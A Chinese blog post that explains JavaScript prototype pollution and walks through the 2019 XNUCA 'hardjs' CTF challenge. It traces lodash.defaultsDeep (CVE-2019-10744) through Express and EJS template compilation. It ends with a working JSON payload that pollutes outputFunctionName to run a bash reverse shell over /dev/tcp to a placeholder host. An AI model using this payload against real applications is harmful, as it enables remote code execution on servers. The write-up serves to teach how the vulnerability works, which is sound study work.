美文网首页
js原型链污染

js原型链污染

作者: Err0rzz | 来源:发表于2019-09-25 22:01 被阅读0次

https://cyto.top/2019/04/16/translation-js-prototype-pollution-attack-nsec2018/
https://www.cnblogs.com/wfzWebSecuity/p/11360881.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x04
https://xz.aliyun.com/t/6101

https://xz.aliyun.com/t/6113
这篇利用讲的很详细(唯一一篇看懂了的。。)

原型链介绍

这里简单介绍一下原型链污染(prototype pollution)

Javascript里每个类都有一个prototype的属性,用来绑定所有对象都会有变量与函数,对象的构造函数又指向类本身,同时对象的__proto__属性也指向类的prototype。因此,有以下关系:

并且,类的继承是通过原型链传递的,一个类的prototype属性指向其继承的类的一个对象。所以一个类的prototype.__proto__等于其父类的prototype,当然也等于该类对象的__proto__.__proto__属性。

我们获取某个对象的某个成员时,如果找不到,就会通过原型链一步步往上找,直到某个父类的原型为null为止。所以修改对象的某个父类的prototype的原型就可以通过原型链影响到跟此类有关的所有对象。

当然,如果某个对象本身就拥有该成员,就不会往上找,所以利用这个漏洞的时候,我们需要做到的是找到某个成员被判断是否存在并使用的代码。

那么什么时候会触发原型链污染?
根据P牛的博客可知,其实找找能够控制数组(对象)的“键名”的操作即可

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

2019Xnuca hardjs分析

发现问题

serve.js/get中发现了merge操作,如下

app.get("/get",auth,async function(req,res,next){

    var userid = req.session.userid ; 
    var sql = "select count(*) count from `html` where userid= ?"
    // var sql = "select `dom` from  `html` where userid=? ";
    var dataList = await query(sql,[userid]);

    if(dataList[0].count == 0 ){
        res.json({})

    }else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
        
        console.log("Merge the recorder in the database."); 

        var sql = "select `id`,`dom` from  `html` where userid=? ";
        var raws = await query(sql,[userid]);
        var doms = {}
        var ret = new Array(); 

        for(var i=0;i<raws.length ;i++){
            lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

            var sql = "delete from `html` where id = ?";
            var result = await query(sql,raws[i].id);
        }
        var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
        var result = await query(sql,[userid, JSON.stringify(doms) ]);

        if(result.affectedRows > 0){
            ret.push(doms);
            res.json(ret);
        }else{
            res.json([{}]);
        }

    }else {

        console.log("Return recorder is less than 5,so return it without merge.");
        var sql = "select `dom` from  `html` where userid=? ";
        var raws = await query(sql,[userid]);
        var ret = new Array();

        for( var i =0 ;i< raws.length ; i++){
            ret.push(JSON.parse( raws[i].dom ));
        }

        console.log(ret);
        res.json(ret);
    }

});

/get中我们可以发现,查询出来的结果,如果超过5条,那么会被合并成一条。具体的过程是,先通过sql查询出来当前用户所有的数据,然后一条条合并到一起,关键代码如下:

var sql = "select `id`,`dom` from  `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array(); 

for(var i=0;i<raws.length ;i++){
    lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

    var sql = "delete from `html` where id = ?";
    var result = await query(sql,raws[i].id);
}

其中的lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));恰好是前段时间公布的CVE-2019-10744的攻击对象,再看一下版本刚好是4.17.11,并没有修复这个漏洞。所以我们可以利用这个漏洞进行原型链污染。

构造利用链

观察server.js加载了哪些库文件,如下所示

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const mysql = require('mysql')
const mysqlConfig = require("./config/mysql")
const ejs = require('ejs')

可以是个发现使用了nodejs+express+mysql模块搭建的页面。

那么什么是express

Express 是一个简洁而灵活的 node.js Web应用框架
提供了一系列强大特性帮助你创建各种 Web 应用,和丰富的 HTTP 工具。
使用 Express 可以快速地搭建一个完整功能的网站。
Express 框架核心特性:
1.可以设置中间件来响应 HTTP 请求。
2.定义了路由表用于执行不同的 HTTP 请求动作。
3.可以通过向模板传递参数来动态渲染 HTML 页面。   ----引用互联网

可以知道HTML页面是用Express框架来渲染的,而页面的返回结果是用res.render()来渲染(resresponse缩写)。所以尝试从这里下手,跟进模板渲染寻找可以原型链污染的点。

打开node_modules/express/lib/response.js,找render函数

res.render = function render(view, options, callback) {
  var app = this.req.app;
  var done = callback;
  var opts = options || {};
  var req = this.req;
  var self = this;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge res.locals
  opts._locals = self.locals;

  // default callback to respond
  done = done || function (err, str) {
    if (err) return req.next(err);
    self.send(str);
  };

  // render
  app.render(view, opts, done);
};

注意到参数又进到了app.render(appapplication的缩写),跟进application.js,找app.render()

app.render = function render(name, options, callback) {
  var cache = this.cache;
  var done = callback;
  var engines = this.engines;
  var opts = options;
  var renderOptions = {};
  var view;
  //无关代码已省略
  // render
  tryRender(view, renderOptions, done);
};

继续跟进tryRender()

function tryRender(view, options, callback) {
  try {
    view.render(options, callback);
  } catch (err) {
    callback(err);
  }
}

继续跟进view.js,找render()

/**
 * Render with the given options.
 *
 * @param {object} options
 * @param {function} callback
 * @private
 */

View.prototype.render = function render(options, callback) {
  debug('render "%s"', this.path);
  this.engine(this.path, options, callback);
};

发现express中渲染页面调用的循序为res.render()-->app.render()-->view.render(),然后调用engine(),来到页面渲染引擎ejs.js中。

https://www.cnblogs.com/QH-Jimmy/p/8855524.html

其中渲染引擎ejs是个啥?

https://blog.csdn.net/maindek/article/details/82669720
https://blog.csdn.net/qq_26443535/article/details/80366264

通过ejs源码简单分析,可以知道其中渲染引擎的渲染函数为exports.renderFile(),如下:

exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  //...
  //去掉无关代码
  return tryHandleCache(opts, data, cb);
};

跟进tryHandleCache()

function tryHandleCache(options, data, cb) {
  var result;
  if (!cb) {
    if (typeof exports.promiseImpl == 'function') {
      return new exports.promiseImpl(function (resolve, reject) {
        try {
          result = handleCache(options)(data);
          resolve(result);
        }
        catch (err) {
          reject(err);
        }
      });
    }
    else {
      throw new Error('Please provide a callback function');
    }
  }
  else {
    try {
      result = handleCache(options)(data);
    }
    catch (err) {
      return cb(err);
    }

    cb(null, result);
  }
}

发现有个handleCache(),将参数传进去之后返回一个result,怀疑result就是渲染后的页面。跟进handleCache(),如下:

/**
 * Get the template from a string or a file, either compiled on-the-fly or
 * read from cache (if enabled), and cache the template if needed.
 *
 * If `template` is not set, the file specified in `options.filename` will be
 * read.
 *
 * If `options.cache` is true, this function reads the file from
 * `options.filename` so it must be set prior to calling this function.
 *
 * @memberof module:ejs-internal
 * @param {Options} options   compilation options
 * @param {String} [template] template source
 * @return {(TemplateFunction|ClientFunction)}
 * Depending on the value of `options.client`, either type might be returned.
 * @static
 */

function handleCache(options, template) {
  var func;
  var filename = options.filename;
  var hasTemplate = arguments.length > 1;
  //...
  func = exports.compile(template, options);
  if (options.cache) {
    exports.cache.set(filename, func);
  }
  return func;
}

阅读注释可知,当options.cachefalse的时候,func变量则由exports.compile()生成,所以中间代码无关。跟进生成funcexports.compile(),如下:

exports.compile = function compile(template, opts) {
  var templ;

  // v1 compat
  // 'scope' is 'context'
  // FIXME: Remove this in a future version
  if (opts && opts.scope) {
    if (!scopeOptionWarned){
      console.warn('`scope` option is deprecated and will be removed in EJS 3');
      scopeOptionWarned = true;
    }
    if (!opts.context) {
      opts.context = opts.scope;
    }
    delete opts.scope;
  }
  templ = new Template(template, opts);
  return templ.compile();
};

跟进Template类的compile()查看,如下:

compile: function () {
    var src;
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    var escapeFn = opts.escapeFunction;
    var ctor;

    if (!this.source) {
      this.generateSource();
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output.join("");' + '\n';
      this.source = prepended + this.source + appended;
    }

    ...
      src = this.source;
    ...
    try {
      if (opts.async) {
        // Have to use generated function for this, since in envs without support,
        // it breaks in parsing
        try {
          ctor = (new Function('return (async function(){}).constructor;'))();
        }
        catch(e) {
          if (e instanceof SyntaxError) {
            throw new Error('This environment does not support async/await');
          }
          else {
            throw e;
          }
        }
      }
      else {
        ctor = Function;
      }
      fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
    }

    ...

    // Return a callable function which will execute the function
    // created by the source-code, with the passed data as locals
    // Adds a local `include` function which allows full recursive include
    var returnedFn = function (data) {
      var include = function (path, includeData) {
        var d = utils.shallowCopy({}, data);
        if (includeData) {
          d = utils.shallowCopy(d, includeData);
        }
        return includeFile(path, opts)(d);
      };
      return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
    };
    returnedFn.dependencies = this.dependencies;
    return returnedFn;
  },

代码偏长,我们需要的是以下代码:

if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

它将opts的一部分拼接到source中,然后赋值给src,然后是fn,然后以returnedFn的形式返回。

这时候我们把上述逻辑倒过来理一遍:

  • Template类的compile()exports.compile()返回了returnedFn,即恶意代码。
returnedFn.dependencies = this.dependencies;
return returnedFn;
  • exports.compile()ejs.js/handleCache()返回接收到的数据
templ = new Template(template, opts);
return templ.compile();
  • ejs.js/handleCache()将收到的数据复制给func,然后返回ejs.js/tryHandleCache()
func = exports.compile(template, options);
if (options.cache) {
   exports.cache.set(filename, func);
}
return func;
  • ejs.js/tryHandleCache()将收到的数据复制给了result,然后返回执行
result = handleCache(options)(data);

而一路跟进的时候可以发现,并没有outputFunctionName的身影,所以只要给Objectprototype加上这个成员,且使其为我们的payload。这样在最后一个函数里拼接returnedFn的时候,就能添加上我们的恶意代码,我们就可以实现从原型链污染到RCE的攻击过程了。

漏洞利用

根据CVE-2019-10744的信息,我们知道我们只需要有消息为
{"type":"test","content":{"prototype":{"constructor":{"a":"b"}}}}
在合并时便会在Object上附加a=b这样一个属性,任意不存在a属性的原型为Object的对象在访问其a属性时均会获取到b属性。
payload如下:

{
    "content": {
        "constructor": {
            "prototype": {
            "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xx 0>&1\"');var __tmp2"
            }
        }
    },
    "type": "test"
}

访问五次即可

相关文章

  • js原型链污染

    https://cyto.top/2019/04/16/translation-js-prototype-poll...

  • 廖雪峰JS小记

    (function(){})() 原型,原型链 浅谈Js原型的理解JS 原型与原型链终极详解 对象 对象:一种无序...

  • JS的__proto__和prototype

    最近在回顾JS的原型和原型链的知识,熟悉JS的同学都知道JS的继承是靠原型链实现的,那跟原型链相关的属性__pro...

  • Javascript(三)之原型继承理解

    进阶路线 3 原型继承 3.1 优秀文章 最详尽的 JS 原型与原型链终极详解 一 最详尽的 JS 原型与原型链终...

  • 原型链污染

    https://www.freebuf.com/articles/web/200406.html

  • 从实现角度分析js原型链

    从实现角度分析js原型链 欢迎来我的博客阅读:《从实现角度分析js原型链》 网上介绍原型链的优质文章已经有很多了,...

  • JS原型链

    1什么是JS原型链? 通过__proto__属性将对象与原型对象进行连接. 1.1 JS原型链的作用? 组成的一个...

  • 关于JS中的原型和原型链

    目录 关于js 对象和原型 原型链 基于原型链的继承 参考资料ECMAScript 6 入门JavaScript原...

  • js_继承及原型链等(四)

    js_继承及原型链等(三) 1. 继承 依赖于原型链来完成的继承 发生在对象与对象之间 原型链,如下: ==原型链...

  • 2022前端高频面试题

    JS相关 1.原型和原型链是什么 原型和原型链都是来源于对象而服务于对象的概念js中引用类型都是对象,对象就是属性...

网友评论

      本文标题:js原型链污染

      本文链接:https://www.haomeiwen.com/subject/fkjcuctx.html